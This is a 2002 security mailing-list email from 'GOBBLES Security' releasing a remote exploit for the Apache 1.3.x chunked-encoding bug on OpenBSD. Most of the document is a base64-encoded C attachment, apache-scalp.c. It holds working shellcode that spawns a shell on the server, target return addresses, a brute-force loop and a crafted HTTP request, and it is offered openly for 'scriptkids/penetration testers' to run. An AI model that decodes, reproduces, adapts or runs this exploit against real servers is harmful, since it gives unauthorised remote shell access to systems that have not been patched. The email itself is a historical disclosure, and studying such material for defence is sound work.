|
Date: Wed, 19 Jun 2002 12:45:24 -0700 From: gobbles@hushmail.com To: vulndev@vulndev.org, submissions@packetstormsecurity.org, Subject: Remote Apache 1.3.x Exploit --Hush_boundary-3d10df5419f3c Content-type: text/plain -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is for immediate release. This may not be sent to any "advanced warning system", such as ARIS. This was written for the community, and not just a few companies with deep pockets full of the big dollar. Attached is a remote Apache 1.3.X exploit for the "chunking" vulnerability. This version of the exploit works only on OpenBSD. "Experts" have argued as to why this is not exploitable on x86/*nix. This version of the exploit has been modified to convince these "experts" that they are wrong. Further, it is very ./friendly and all scriptkids/penetration testers should be able to run it without any trouble. My God have mercy on our souls. - -GOBBLES Security -----BEGIN PGP SIGNATURE----- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wlwEARECABwFAj0Q3g8VHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAP7R0A nRyuMq0D8z0T6bg++HH27mGXyPqlAJ9l6Qv8h/5+2pvnn6nJ+sUUZdeebw== =5v5m -----END PGP SIGNATURE----- --Hush_boundary-3d10df5419f3c Content-type: application/octet-stream; name="apache-scalp.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="apache-scalp.c" LyoKICogYXBhY2hlLXNjYWxwLmMKICogT1BFTkJTRC9YODYgQVBBQ0hFIFJFTU9URSBFWFBMT0lU ISEhISEhISAKICogCiAqIFJPQlVTVCwgUkVMSUFCTEUsIFVTRVItRlJJRU5ETFkgTU9USEVSRlVD S0lORyAwREFZIFdBUkVaIQogKgogKiBCTElORyEgQkxJTkchIC0tLSBCUlVURSBGT1JDRSBDQVBB QklMSVRJRVMgLS0tIEJMSU5HISBCTElORyEKICogCiAqICIuIC4gLiBhbmQgRG91ZyBTbmlmZiBz YWlkIGl0IHdhcyBhIGhvbGUgaW4gRXBpYy4iCiAqCiAqIC0tLQogKiBEaXNhcm0geW91IHdpdGgg YSBzbWlsZQogKiBBbmQgbGVhdmUgeW91IGxpa2UgdGhleSBsZWZ0IG1lIGhlcmUKICogVG8gd2l0 aGVyIGluIGRlbmlhbAogKiBUaGUgYml0dGVybmVzcyBvZiBvbmUgd2hvJ3MgbGVmdCBhbG9uZQog KiAtLS0KICoKICogUmVtb3RlIE9wZW5CU0QvQXBhY2hlIGV4cGxvaXQgZm9yIHRoZSAiY2h1bmtp bmciIHZ1bG5lcmFiaWxpdHkuIEt1ZG9zIHRvCiAqIHRoZSBPcGVuQlNEIGRldmVsb3BlcnMgKFRo ZW8sIER1Z1NvbmcsIGpuYXRoYW4sICpAIyF3MDB3MDAsIC4uLikgYW5kCiAqIHRoZWlyIGNyYXBw eSBtZW1jcHkgaW1wbGVtZW50YXRpb24gdGhhdCBtYWtlcyB0aGlzIDMyLWJpdCBpbXBvc3NpYmls aXR5CiAqIHZlcnkgZWFzeSB0byBhY2NvbXBsaXNoLiBUaGlzIHZ1bG5lcmFiaWxpdHkgd2FzIHJl Y2VudGx5IHJlZGlzY292ZXJlZCBieSBhIHNsZXcKICogb2YgcmVzZWFyY2hlcnMuCiAqCiAqIFRo ZSAiZXhwZXJ0cyIgaGF2ZSBhbHJlYWR5IGNvbmN1cnJlZCB0aGF0IHRoaXMgYnVnLi4uCiAqICAg ICAgLSAgICAgICBDYW4gbm90IGJlIGV4cGxvaXRlZCBvbiAzMi1iaXQgKm5peCB2YXJpYW50cwog KiAgICAgIC0gICAgICAgSXMgb25seSBleHBsb2l0YWJsZSBvbiB3aW4zMiBwbGF0Zm9ybXMKICog ICAgICAtICAgICAgIElzIG9ubHkgZXhwbG9pdGFibGUgb24gY2VydGFpbiA2NC1iaXQgc3lzdGVt cwogKgogKiBIb3dldmVyLCBjb250cmFyeSB0byB3aGF0IElTUyB3b3VsZCBoYXZlIHlvdSBiZWxp ZXZlLCB3ZSBoYXZlCiAqIHN1Y2Nlc3NmdWxseSBleHBsb2l0ZWQgdGhpcyBob2xlIG9uIHRoZSBm b2xsb3dpbmcgb3BlcmF0aW5nIHN5c3RlbXM6CiAqCiAqICAgICAgU3VuIFNvbGFyaXMgNi04IChz cGFyYy94ODYpCiAqICAgICAgRnJlZUJTRCA0LjMtNC41ICh4ODYpCiAqICAgICAgT3BlbkJTRCAy LjYtMy4xICh4ODYpCiAqICAgICAgTGludXggKEdOVSkgMi40ICh4ODYpCiAqCiAqIERvbid0IGdl dCBkaXNjb3VyYWdlZCB0b28gcXVpY2tseSBpbiB5b3VyIG93biByZXNlYXJjaC4gSXQgdG9vayB1 cyBjbG9zZQogKiB0byB0d28gbW9udGhzIHRvIGJlIGFibGUgdG8gZXhwbG9pdCBlYWNoIG9mIHRo ZSBhYm92ZSBvcGVyYXRpbmcgc3lzdGVtcy4KICogVGhlcmUgaXMgYSBwZWN1bGlhcml0eSB0byBi ZSBmb3VuZCBmb3IgZWFjaCBvcGVyYXRpbmcgc3lzdGVtIHRoYXQgbWFrZXMgdGhlCiAqIGV4cGxv aXRhdGlvbiBwb3NzaWJsZS4KICoKICogRG9uJ3QgZW1haWwgdXMgYXNraW5nIGZvciB0ZWNobmlj YWwgaGVscCBvciBiZWdnaW5nIGZvciB3YXJlei4gV2UgYXJlCiAqIGJ1c3kgd29ya2luZyBvbiBt YW55IG90aGVyIHdvbmRlcmZ1bCB0aGluZ3MsIGluY2x1ZGluZyBvdGhlciByZW1vdGVseQogKiBl eHBsb2l0YWJsZSBob2xlcyBpbiBBcGFjaGUuIFBlcmhhcHMgVGhlIEdyZWF0IFByMGl4IHdvdWxk IGxpa2UgdG8gaW5mb3JtCiAqIHRoZSBjb21tdW5pdHkgdGhhdCB0aG9zZSBob2xlcyBkb24ndCBl eGlzdD8gV2Ugd29uZGVyIHdobydzIHBheWluZyBoZXIuCiAqCiAqIFRoaXMgY29kZSBpcyBhbiBl YXJseSB2ZXJzaW9uIGZyb20gd2hlbiB3ZSBmaXJzdCBiZWdhbiByZXNlYXJjaGluZyB0aGUKICog dnVsbmVyYWJpbGl0eS4gSXQgc2hvdWxkIHNwYXduIGEgc2hlbGwgb24gYW55IHVucGF0Y2hlZCBP cGVuQlNEIHN5c3RlbQogKiBydW5uaW5nIHRoZSBBcGFjaGUgd2Vic2VydmVyLgogKgogKiBXZSBh cHByZWNpYXRlIFRoZSBCbHVlIEJvYXIncyBlZmZvcnQgdG8gYWxsb3cgdXMgdG8gcG9zdCB0byBo aXMgbWFpbGluZwogKiBsaXN0IG9uY2UgYWdhaW4uIEJlY2F1c2UgaGUgZmluYWxseSBhbGxvd2Vk IHVzIHRvIHBvc3QsIHdlIG5vdyBoYXZlIHRoaXMKICogdmVyeSBodW1ibGUgb2ZmZXJpbmcuCiAq CiAqIFRoaXMgaXMgYSB2ZXJ5IHNlcmlvdXMgdnVsbmVyYWJpbGl0eS4gQWZ0ZXIgZGlzY2xvc2lu ZyB0aGlzIGV4cGxvaXQsIHdlCiAqIGhvcGUgdG8gaGF2ZSBnYWluZWQgaW1tZW5zZSBmYW1lIGFu ZCBnbG9yeS4KICoKICogVGVzdGJlZHM6IHN5bm5lcmd5Lm5ldCwgbW9ua2V5Lm9yZywgOW1tLmNv bQogKgogKiBBYnVzaW5nIHRoZSByaWdodCBzeXNjYWxscywgYW55IGV4cGxvaXQgYWdhaW5zdCBP cGVuQlNEID09IHJvb3QuIEtlcm5lbAogKiBidWdzIGFyZSBncmVhdC4gCiAqCiAqIFsjIUdPQkJM RVMgUVVPVEVTXQogKiAKICogLS0tIHlvdSBqdXN0IGtub3cgMjg5MjMwMzQ4MzkzMDMgYWRtaW5z IG91dCB0aGVyZSBydW5uaW5nCiAqICAgICBPcGVuQlNEL0FwYWNoZSBhcmUgZ29pbmcgInVnaC4u bm90IGV4cGxvaXRhYmxlLi5pbGwgZG8gaXQgYWZ0ZXIgdGhlCiAqICAgICB3ZWVrZW5kIgogKiAt LS0gIkZpdmUgeWVhcnMgd2l0aG91dCBhIHJlbW90ZSBob2xlIGluIHRoZSBkZWZhdWx0IGluc3Rh bGwiLiBkZWZhdWx0CiAqICAgICAgcGFja2FnZSA9IGtlcm5lbC4gaWYgdGhlbyBrbmV3IHRoYXQg dGFsa2Qgd2FzIGV4cGxvaXRhYmxlLCBoZSdkIGNyeS4KICogLS0tIHNvIGZ1bm55IGhvdyBhcGFj aGUub3JnIGNsYWltcyBpdCdzIGltcG9zc2libGUgdG8gZXhwbG9pdCB0aGlzLgogKiAtLS0gaG93 IG1hbnkgdGltZXMgd2VyZSB3ZSB0b2xkLCAiQU5USVNFQyBJUyBOT1QgRk9SIFlPVSIgPyAgICAg ICAKICogLS0tIEkgaG9wZSBUaGVvIGRvZXNuJ3Qga2lsbCBoaW1zZWxmICAgICAgICAgICAgICAg ICAgICAgICAgCiAqIC0tLSBoZWgsIHRoaXMgaXMgYSBtaWRkbGUgZmluZ2VyIHRvIGFsbCB0aG9z ZSBvcGVuIHNvdXJjZSwgYW50aS0ibSQiCiAqICAgICBpZGlvdHMuLi4gc2xhc2hkb3QgaGlwcGll cy4uLgogKiAtLS0gdGhleSBydXNoZWQgdG8gcmVsZWFzZSB0aGlzIGV4cGxvaXQgc28gdGhleSBj b3VsZCB1cGRhdGUgdGhlaXIgSVNTCiAqICAgICBzY2FubmVyIHRvIGhhdmUgYSBtb2R1bGUgZm9y IHRoaXMgdnVsbmVyYWJpbGl0eSwgYnV0IGl0IGRvZXNudCBldmVuCiAqICAgICB3b3JrLi4uIGl0 J3MganVzdCBsb29raW5nIGZvciB3aW4zMiBhcGFjaGUgdmVyc2lvbnMKICogLS0tIG5vIG9uZSB0 b29rIHVzIHNlcmlvdXNseSB3aGVuIHdlIG1lbnRpb25lZCB0aGlzIGxhc3QgeWVhci4gd2Ugd2Fy bmVkCiAqICAgICB0aGVtIHRoYXQgbW9kZXJhdGlvbiA9PSBubyBwaWUuCiAqIC0tLSBub3cgdHJ5 IGl0IGFnYWluc3Qgc3lubmVyZ3kgOj4gICAgICAgICAgICAgICAgICAgICAgICAgICAKICogLS0t IEFOT1RIRVIgQlVHIEJJVEUgVEhFIERVU1QuLi4gVlJPT09PTSBWUlJSUlJSUk9PT09PT09PT00K ICoKICogeHh4eCAgdGhpcyB0aGluZyBpcyBhIG1ham9yIGV4cGxvaXQuIGRvIHlvdSByZWFsbHkg d2FubmEgcHVibGlzaCBpdD8KICogb29vbyAgaSdtIG5vdCBhZnJhaWQgb2Ygd2hpdGVoYXRzCiAq IHh4eHggIHRoZSBibGFja2hhdHMgd2lsbCBraWxsIHlvdSBmb3IgcG9zdGluZyB0aGF0IGV4cGxv aXQKICogb29vbyAgYmxhY2toYXRzIGFyZSBhIG15dGgKICogb29vbyAgc28gaSdtIG5vdCB3b3Jy aWVkCiAqIG9vb28gIGkndmUgbmV2ZXIgc2VlbiBvbmUKICogb29vbyAgaSBndWVzcyBpdCdzIHNv cnQgb2YgbGlrZSBoYXZpbmcgZ29kIGluIHlvdXIgbGlmZQogKiBvb29vICBpIGRvbid0IGJlbGll dmUgdGhlcmUncyBhIGdvZAogKiBvb29vICBidXQgaWYgaSBzYXQgZG93biBhbmQgbWV0IGhpbQog KiBvb29vICBpIHdvdWxkbid0IHdhbGsgYXdheSB0aGlua2luZwogKiBvb29vICAidGhhdCB3YXMg b25lIGhlbGwgb2YgYSBzcGVjaWFsIGVmZmVjdCIKICogb29vbyAgc28gaSBzdXBwb3NlIHRoZXJl IHZlcnkgd2VsbCBjb3VsZCBiZSBhIGJsYWNraGF0IHNvbWV3aGVyZQogKiBvb29vICBidXQgaSBk b3VidCBpdC4uLiBpJ3ZlIHNlZW4gd2hpdGVoYXQtYmxhY2toYXRzIHdpdGggdGhlaXIgZXRoaWNz CiAqICAgICAgIGFuZCBkZWVwIHBoaWxvc29waHkuLi4KICoKICogW0dPQkJMRVMgUE9TRVJTL1dB Tk5BQkVTXQogKgogKiAtLS0gIyFHT0JCTEVTQEVGTkVUIChub25lIG9mIHVzIGpvaW4gaGVyZSwg YnV0IHdlJ3ZlIHNuaWZmZWQgaXQpCiAqIC0tLSBzdXBlckBHT0JCTEVTLk5FVCAobG93LWxldmVs Lm5ldCkKICoKICogR09CQkxFUyBTZWN1cml0eQogKiBHT0JCTEVTQGh1c2htYWlsLmNvbQogKiBo dHRwOi8vd3d3LmJ1Z3RyYXEub3JnCiAqCiAqLwoKCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVk ZSA8c3RkbGliLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5j bHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRp bmV0L2luLmg+CiNpbmNsdWRlIDxhcnBhL2luZXQuaD4KI2luY2x1ZGUgPG5ldGRiLmg+CiNpbmNs dWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgoKI2RlZmluZSBFWFBMT0lUX1RJ TUVPVVQJCTUJLyogbnVtIHNlY29uZHMgdG8gd2FpdCBiZWZvcmUgYXNzdW1pbmcgaXQgZmFpbGVk ICovCiNkZWZpbmUgUkVUX0FERFJfSU5DCQk1MTIKCgojZGVmaW5lIE1FTUNQWV9zMV9PV0FERFJf REVMVEEJLTE0NgojZGVmaW5lIFBBRFNJWkVfMQkJNAojZGVmaW5lIFBBRFNJWkVfMiAJCTUKI2Rl ZmluZSBQQURTSVpFXzMJCTcKCgojZGVmaW5lIFJFUF9QT1BVTEFUT1IJCTI0CiNkZWZpbmUgUkVQ X1JFVF9BRERSCQk2CiNkZWZpbmUgUkVQX1pFUk8JCTM2CiNkZWZpbmUgUkVQX1NIRUxMQ09ERQkJ MjQKI2RlZmluZSBOT1BDT1VOVAkJMTAyNAoKI2RlZmluZSBOT1AJCQkweDQxCiNkZWZpbmUgUEFE RElOR18xCQknQScKI2RlZmluZSBQQURESU5HXzIJCSdCJwojZGVmaW5lIFBBRERJTkdfMwkJJ0Mn CgojZGVmaW5lIFBVVF9TVFJJTkcocykJCW1lbWNweShwLCBzLCBzdHJsZW4ocykpOyBwICs9IHN0 cmxlbihzKTsKI2RlZmluZSBQVVRfQllURVMobiwgYikJCW1lbXNldChwLCBiLCBuKTsgcCArPSBu OwoKI2RlZmluZSBTSEVMTENPREVfTE9DQUxQT1JUX09GRiAzMAoKY2hhciBzaGVsbGNvZGVbXSA9 CiAgIlx4ODlceGUyXHg4M1x4ZWNceDEwXHg2YVx4MTBceDU0XHg1Mlx4NmFceDAwXHg2YVx4MDBc eGI4XHgxZiIKICAiXHgwMFx4MDBceDAwXHhjZFx4ODBceDgwXHg3YVx4MDFceDAyXHg3NVx4MGJc eDY2XHg4MVx4N2FceDAyIgogICJceDQyXHg0MVx4NzVceDAzXHhlYlx4MGZceDkwXHhmZlx4NDRc eDI0XHgwNFx4ODFceDdjXHgyNFx4MDQiCiAgIlx4MDBceDAxXHgwMFx4MDBceDc1XHhkYVx4Yzdc eDQ0XHgyNFx4MDhceDAwXHgwMFx4MDBceDAwXHhiOCIKICAiXHg1YVx4MDBceDAwXHgwMFx4Y2Rc eDgwXHhmZlx4NDRceDI0XHgwOFx4ODNceDdjXHgyNFx4MDhceDAzIgogICJceDc1XHhlZVx4Njhc eDBiXHg2Zlx4NmJceDBiXHg4MVx4MzRceDI0XHgwMVx4MDBceDAwXHgwMVx4ODkiCiAgIlx4ZTJc eDZhXHgwNFx4NTJceDZhXHgwMVx4NmFceDAwXHhiOFx4MDRceDAwXHgwMFx4MDBceGNkXHg4MCIK ICAiXHg2OFx4MmZceDczXHg2OFx4MDBceDY4XHgyZlx4NjJceDY5XHg2ZVx4ODlceGUyXHgzMVx4 YzBceDUwIgogICJceDUyXHg4OVx4ZTFceDUwXHg1MVx4NTJceDUwXHhiOFx4M2JceDAwXHgwMFx4 MDBceGNkXHg4MFx4Y2MiOwoKCnN0cnVjdCB7CgljaGFyICp0eXBlOwoJdV9sb25nIHJldGFkZHI7 Cn0gdGFyZ2V0c1tdID0gewkvLyBoZWhlLCB5ZXMgdGhlbywgdGhhdCBzYXkgT3BlbkJTRCBoZXJl IQoJeyAiT3BlbkJTRCAzLjAgeDg2IC8gQXBhY2hlIDEuMy4yMCIsCTB4Y2Y5MmYgfSwKCXsgIk9w ZW5CU0QgMy4wIHg4NiAvIEFwYWNoZSAxLjMuMjIiLAkweDhmMGFhIH0sCgl7ICJPcGVuQlNEIDMu MCB4ODYgLyBBcGFjaGUgMS4zLjI0IiwJMHg5MDYwMCB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8g QXBhY2hlIDEuMy4yMCIsCTB4OGYyYTYgfSwKCXsgIk9wZW5CU0QgMy4xIHg4NiAvIEFwYWNoZSAx LjMuMjMiLAkweDkwNjAwIH0sCgl7ICJPcGVuQlNEIDMuMSB4ODYgLyBBcGFjaGUgMS4zLjI0IiwJ MHg5MDExYSB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8gQXBhY2hlIDEuMy4yNCAjMiIsCTB4OTMy YWUgfSwKfTsKCgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CgoJY2hhciAgICAg ICAgICAgKmhvc3RwLCAqcG9ydHA7Cgl1bnNpZ25lZCBjaGFyICAgYnVmWzUxMl0sICpleHBidWYs ICpwOwoJaW50ICAgICAgICAgICAgIGksIGosIGxwb3J0OwoJaW50ICAgICAgICAgICAgIHNvY2s7 CglpbnQgICAgICAgICAgICAgYnJ1dGVmb3JjZSwgb3duZWQsIHByb2dyZXNzOwoJdV9sb25nICAg ICAgICAgIHJldGFkZHI7CglzdHJ1Y3Qgc29ja2FkZHJfaW4gc2luLCBmcm9tOwoKCglpZihhcmdj ICE9IDMpIHsKCQlwcmludGYoIlVzYWdlOiAlcyA8dGFyZ2V0I3xiYXNlIGFkZHJlc3M+IDxpcFs6 cG9ydF0+XG4iLCBhcmd2WzBdKTsKCQlwcmludGYoIiAgVXNpbmcgdGFyZ2V0czpcdC4vYXBhY2hl LXNjYWxwIDMgMTI3LjAuMC4xOjgwODBcbiIpOwoJCXByaW50ZigiICBVc2luZyBicnV0ZWZvcmNl Olx0Li9hcGFjaGUtc2NhbHAgMHg4ZjAwMCAxMjcuMC4wLjE6ODA4MFxuIik7CgkJcHJpbnRmKCJc bi0tLSAtLS0gLSBQb3RlbnRpYWwgdGFyZ2V0cyBsaXN0IC0gLS0tIC0tLS1cbiIpOwoJCXByaW50 ZigiVGFyZ2V0IElEIC8gVGFyZ2V0IHNwZWNpZmljYXRpb25cbiIpOwoJCWZvcihpID0gMDsgaSA8 IHNpemVvZih0YXJnZXRzKS84OyBpKyspCgkJCXByaW50ZigiXHQlZCAvICVzXG4iLCBpLCB0YXJn ZXRzW2ldLnR5cGUpOwoKCQlyZXR1cm4gLTE7Cgl9CgoKCWhvc3RwID0gc3RydG9rKGFyZ3ZbMl0s ICI6Iik7CglpZigocG9ydHAgPSBzdHJ0b2soTlVMTCwgIjoiKSkgPT0gTlVMTCkKCQlwb3J0cCA9 ICI4MCI7CgoJcmV0YWRkciA9IHN0cnRvdWwoYXJndlsxXSwgTlVMTCwgMTYpOwoJaWYocmV0YWRk ciA8IHNpemVvZih0YXJnZXRzKS84KSB7CgkJcmV0YWRkciA9IHRhcmdldHNbcmV0YWRkcl0ucmV0 YWRkcjsKCQlicnV0ZWZvcmNlID0gMDsKCX0KCWVsc2UKCQlicnV0ZWZvcmNlID0gMTsKCQkKCglz cmFuZChnZXRwaWQoKSk7CglzaWduYWwoU0lHUElQRSwgU0lHX0lHTik7Cglmb3Iob3duZWQgPSAw LCBwcm9ncmVzcyA9IDA7O3JldGFkZHIgKz0gUkVUX0FERFJfSU5DKSB7CgoJCS8qIHNraXAgaW52 YWxpZCByZXR1cm4gYWRyZXNzZXMgKi8KCQlpID0gcmV0YWRkciAmIDB4ZmY7CgkJaWYoaSA9PSAw eDBhIHx8IGkgPT0gMHgwZCkKCQkJcmV0YWRkcisrOwoJCWVsc2UgaWYobWVtY2hyKCZyZXRhZGRy LCAweDBhLCA0KSB8fCBtZW1jaHIoJnJldGFkZHIsIDB4MGQsIDQpKQoJCQljb250aW51ZTsKCgoJ CXNvY2sgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApOwoJCXNpbi5zaW5fZmFtaWx5 ID0gQUZfSU5FVDsKCQlzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGhvc3RwKTsKCQlz aW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKHBvcnRwKSk7CgkJaWYoIXByb2dyZXNzKQoJCQlwcmlu dGYoIlxuWypdIENvbm5lY3RpbmcuLiAiKTsKCgkJZmZsdXNoKHN0ZG91dCk7CgkJaWYoY29ubmVj dChzb2NrLCAoc3RydWN0IHNvY2thZGRyICopICYgc2luLCBzaXplb2Yoc2luKSkgIT0gMCkgewoJ CQlwZXJyb3IoImNvbm5lY3QoKSIpOwoJCQlleGl0KDEpOwoJCX0KCgkJaWYoIXByb2dyZXNzKQoJ CQlwcmludGYoImNvbm5lY3RlZCFcbiIpOwoKCgkJLyogU2V0dXAgdGhlIGxvY2FsIHBvcnQgaW4g b3VyIHNoZWxsY29kZSAqLwoJCWkgPSBzaXplb2YoZnJvbSk7CgkJaWYoZ2V0c29ja25hbWUoc29j aywgKHN0cnVjdCBzb2NrYWRkciAqKSAmIGZyb20sICZpKSAhPSAwKSB7CgkJCXBlcnJvcigiZ2V0 c29ja25hbWUoKSIpOwoJCQlleGl0KDEpOwoJCX0KCgkJbHBvcnQgPSBudG9ocyhmcm9tLnNpbl9w b3J0KTsKCQlzaGVsbGNvZGVbU0hFTExDT0RFX0xPQ0FMUE9SVF9PRkYgKyAxXSA9IGxwb3J0ICYg MHhmZjsKCQlzaGVsbGNvZGVbU0hFTExDT0RFX0xPQ0FMUE9SVF9PRkYgKyAwXSA9IChscG9ydCA+ PiA4KSAmIDB4ZmY7CgoKCQlwID0gZXhwYnVmID0gbWFsbG9jKDgxOTIgKyAoKFBBRFNJWkVfMyAr IE5PUENPVU5UICsgMTAyNCkgKiBSRVBfU0hFTExDT0RFKQoJCQkJICAgICsgKChQQURTSVpFXzEg KyAoUkVQX1JFVF9BRERSICogNCkgKyBSRVBfWkVSTyArIDEwMjQpICogUkVQX1BPUFVMQVRPUikp OwoKCQlQVVRfU1RSSU5HKCJHRVQgLyBIVFRQLzEuMVxyXG5Ib3N0OiBhcGFjaGUtc2NhbHAuY1xy XG4iKTsKCgkJZm9yIChpID0gMDsgaSA8IFJFUF9TSEVMTENPREU7IGkrKykgewoJCQlQVVRfU1RS SU5HKCJYLSIpOwoJCQlQVVRfQllURVMoUEFEU0laRV8zLCBQQURESU5HXzMpOwoJCQlQVVRfU1RS SU5HKCI6ICIpOwoJCQlQVVRfQllURVMoTk9QQ09VTlQsIE5PUCk7CgkJCW1lbWNweShwLCBzaGVs bGNvZGUsIHNpemVvZihzaGVsbGNvZGUpIC0gMSk7CgkJCXAgKz0gc2l6ZW9mKHNoZWxsY29kZSkg LSAxOwoJCQlQVVRfU1RSSU5HKCJcclxuIik7CgkJfQoKCQlmb3IgKGkgPSAwOyBpIDwgUkVQX1BP UFVMQVRPUjsgaSsrKSB7CgkJCVBVVF9TVFJJTkcoIlgtIik7CgkJCVBVVF9CWVRFUyhQQURTSVpF XzEsIFBBRERJTkdfMSk7CgkJCVBVVF9TVFJJTkcoIjogIik7CgkJCWZvciAoaiA9IDA7IGogPCBS RVBfUkVUX0FERFI7IGorKykgewoJCQkJKnArKyA9IHJldGFkZHIgJiAweGZmOwoJCQkJKnArKyA9 IChyZXRhZGRyID4+IDgpICYgMHhmZjsKCQkJCSpwKysgPSAocmV0YWRkciA+PiAxNikgJiAweGZm OwoJCQkJKnArKyA9IChyZXRhZGRyID4+IDI0KSAmIDB4ZmY7CgkJCX0KCgkJCVBVVF9CWVRFUyhS RVBfWkVSTywgMCk7CgkJCVBVVF9TVFJJTkcoIlxyXG4iKTsKCQl9CgoJCVBVVF9TVFJJTkcoIlRy YW5zZmVyLUVuY29kaW5nOiBjaHVua2VkXHJcbiIpOwoJCXNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1 ZikgLSAxLCAiXHJcbiV4XHJcbiIsIFBBRFNJWkVfMik7CgkJUFVUX1NUUklORyhidWYpOwoJCVBV VF9CWVRFUyhQQURTSVpFXzIsIFBBRERJTkdfMik7CgkJc25wcmludGYoYnVmLCBzaXplb2YoYnVm KSAtIDEsICJcclxuJXhcclxuIiwgTUVNQ1BZX3MxX09XQUREUl9ERUxUQSk7CgkJUFVUX1NUUklO RyhidWYpOwoKCQl3cml0ZShzb2NrLCBleHBidWYsIHAgLSBleHBidWYpOwoKCQlwcm9ncmVzcysr OwoJCWlmKChwcm9ncmVzcyU3MCkgPT0gMCkKCQkJcHJvZ3Jlc3MgPSAxOwoKCQlpZihwcm9ncmVz cyA9PSAxKSB7CgkJCW1lbXNldChidWYsIDAsIHNpemVvZihidWYpKTsKCQkJc3ByaW50ZihidWYs ICJcclsqXSBDdXJyZW50bHkgdXNpbmcgcmV0YWRkciAweCVseCwgbGVuZ3RoICV1LCBsb2NhbHBv cnQgJXUiLAoJCQkJcmV0YWRkciwgKHVuc2lnbmVkIGludCkocCAtIGV4cGJ1ZiksIGxwb3J0KTsK CQkJbWVtc2V0KGJ1ZiArIHN0cmxlbihidWYpLCAnICcsIDc0IC0gc3RybGVuKGJ1ZikpOwoJCQlw dXRzKGJ1Zik7CgkJCWlmKGJydXRlZm9yY2UpCgkJCQlwdXRjaGFyKCc7Jyk7CgkJfQoJCWVsc2UK CQkJcHV0Y2hhcigocmFuZCgpJTIpPyAnUCc6ICdwJyk7CgoKCQlmZmx1c2goc3Rkb3V0KTsKCQl3 aGlsZSAoMSkgewoJCQlmZF9zZXQgICAgICAgICAgZmRzOwoJCQlpbnQgICAgICAgICAgICAgbjsK CQkJc3RydWN0IHRpbWV2YWwgIHR2OwoKCQkJdHYudHZfc2VjID0gRVhQTE9JVF9USU1FT1VUOwoJ CQl0di50dl91c2VjID0gMDsKCgkJCUZEX1pFUk8oJmZkcyk7CgkJCUZEX1NFVCgwLCAmZmRzKTsK CQkJRkRfU0VUKHNvY2ssICZmZHMpOwoKCQkJbWVtc2V0KGJ1ZiwgMCwgc2l6ZW9mKGJ1ZikpOwoJ CQlpZihzZWxlY3Qoc29jayArIDEsICZmZHMsIE5VTEwsIE5VTEwsICZ0dikgPiAwKSB7CgkJCQlp ZihGRF9JU1NFVChzb2NrLCAmZmRzKSkgewoJCQkJCWlmKChuID0gcmVhZChzb2NrLCBidWYsIHNp emVvZihidWYpIC0gMSkpIDw9IDApCgkJCQkJCWJyZWFrOwoKCQkJCQlpZighb3duZWQgJiYgbiA+ PSA0ICYmIG1lbWNtcChidWYsICJcbm9rXG4iLCA0KSA9PSAwKSB7CgkJCQkJCXByaW50ZigiXG5H T0JCTEUgR09CQkxFIUAjJSUpKiNcbiIpOwoJCQkJCQlwcmludGYoInJldGFkZHIgMHglbHggZGlk IHRoZSB0cmljayFcbiIsIHJldGFkZHIpOwoJCQkJCQlzcHJpbnRmKGV4cGJ1ZiwgInVuYW1lIC1h O2lkO2VjaG8gaGVoZSwgbm93IHVzZSAwZGF5IE9wZW5CU0QgbG9jYWwga2VybmVsIGV4cGxvaXQg dG8gZ2FpbiBpbnN0YW50IHIwMHRcbiIpOwoJCQkJCQl3cml0ZShzb2NrLCBleHBidWYsIHN0cmxl bihleHBidWYpKTsKCQkJCQkJb3duZWQrKzsKCQkJCQl9CgoJCQkJCXdyaXRlKDEsIGJ1Ziwgbik7 CgkJCQl9CgoJCQkJaWYoRkRfSVNTRVQoMCwgJmZkcykpIHsKCQkJCQlpZigobiA9IHJlYWQoMCwg YnVmLCBzaXplb2YoYnVmKSAtIDEpKSA8IDApCgkJCQkJCWV4aXQoMSk7CgoJCQkJCXdyaXRlKHNv Y2ssIGJ1Ziwgbik7CgkJCQl9CgkJCX0KCgkJCWlmKCFvd25lZCkKCQkJCWJyZWFrOwoJCX0KCgkJ ZnJlZShleHBidWYpOwoJCWNsb3NlKHNvY2spOwoKCQlpZihvd25lZCkKCQkJcmV0dXJuIDA7CgoJ CWlmKCFicnV0ZWZvcmNlKSB7CgkJCWZwcmludGYoc3RkZXJyLCAiT29vcHMuLiBoZWhlaGUhXG4i KTsKCQkJcmV0dXJuIC0xOwoJCX0KCX0KCglyZXR1cm4gMDsKfQo= --Hush_boundary-3d10df5419f3c Content-type: text/plain; name="apache-scalp.c.sig" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="apache-scalp.c.sig" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv bQ0KDQp3ajhEQlFBOUVOMmtITkdubHlHWnNBOFJBc3pKQUtDNmdNN1JuZjhwM2ZXdFlLU0RCZ2tz MkxpWkdBQ2duZXhFWXlLaQ0KVzdhL1dXRWphUEFEcXJVTlpEcz0NCj13Z1FMDQotLS0tLUVORCBQ R1AgU0lHTkFUVVJFLS0tLS0NCg== --Hush_boundary-3d10df5419f3c--
|